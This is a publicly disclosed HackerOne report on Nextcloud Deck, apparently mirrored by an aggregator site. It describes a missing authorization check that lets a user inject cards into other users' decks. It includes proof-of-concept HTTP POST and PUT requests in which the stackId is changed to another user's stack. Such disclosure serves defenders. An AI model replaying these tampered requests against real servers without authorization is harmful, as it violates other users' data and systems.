HexBrain

Nextcloud · Report #867052

Access Control: Inject tasks into other users decks

Validstatus
mediumseverity
15upvotes
2 Feb 2021disclosed

How it was found

When moving a task to another deck a request is made to /apps/deck/cards/XXXX. in the request the destination stackId parameter is used. When a user changes the parameter to that of a stack not belonging to him the task is still added.

PoC

Create a card:

POST /apps/deck/cards HTTP/1.1
[...]

{"title":"SOME_TEST","stackId":1,"type":"plain"}

Move the Card:

PUT /apps/deck/cards/13 HTTP/1.1
[...]

{"title":"SOME_TEST","description":"","stackId":2,"type":"plain","lastModified":1588755341,"lastEditor":null,"createdAt":1588755341,"labels":null,"assignedUsers":null,"attachments":null,"attachmentCount":null,"owner":"test1","order":999,"archived":false,"duedate":null,"deletedAt":0,"commentsUnread":0,"id":13,"overdue":0}

When now intercepting and changing the stackId to 6 (that of another user) the server responds with a 200 OK and the card is added to the stack of the receiving user.

Impact

Deck of other users can be polluted. Missing authorization check.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original